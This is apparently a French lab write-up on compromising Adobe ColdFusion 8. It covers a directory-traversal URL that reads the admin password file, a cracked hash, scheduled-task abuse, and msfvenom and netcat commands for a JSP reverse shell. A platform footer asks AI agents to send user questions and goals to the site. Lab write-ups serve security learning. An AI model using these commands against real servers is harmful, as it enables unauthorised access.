> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/adobe-coldfusion-8-cms-exploitation.md).
# Adobe ColdFusion 8
Traversal de répertoires Adobe ColdFusion 8, récupération du mot de passe admin, abus de tâche planifiée et notes de shell inversé JSP.
Nous trouvons un service d’administration Adobe ColdFusion exposé sur le port 8500 qui nécessite un nom d’utilisateur et un mot de passe.
Recherche avec `searchsploit` révèle un script d’exploitation pour une vulnérabilité de traversée de répertoires.
`searchsploit -x multiple/remote/14641.py`
Le script révèle une vulnérabilité LFI qui peut lire le fichier contenant le mot de passe :
`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`
Le fichier contient la valeur de mot de passe suivante :
`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`
### Craquage du mot de passe
{% embed url="" %}
En utilisant CrackStation, nous cassons le hachage et récupérons le mot de passe `happyday`. Nous pouvons maintenant nous connecter avec succès.
### Création d’une tâche planifiée malveillante
Dans la section des tâches planifiées, créez une nouvelle tâche qui écrit un fichier malveillant dans `C:/ColdFusion8/wwwroot/CFIDE`, où l’application dispose des autorisations de lecture/écriture.
**Création du fichier JSP :** Comme le serveur peut exécuter des fichiers JSP, générez un reverse shell JSP avec `msfvenom`:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```
**Ajout d’une nouvelle tâche :** Configurez la tâche planifiée pour exécuter le fichier malveillant.
**Serveur HTTP pour le transfert de fichiers :** Démarrez un serveur HTTP sur la machine attaquante pour transférer le fichier JSP :
```bash
python3 -m http.server 80
```
**Configuration du listener et exécution du shell :** Démarrez un listener sur le port 443 pour recevoir le reverse shell, puis déclenchez la tâche planifiée depuis `/CFIDE/`:
```bash
rlwrap nc -nvlp 443
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/cms/adobe-coldfusion-8-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)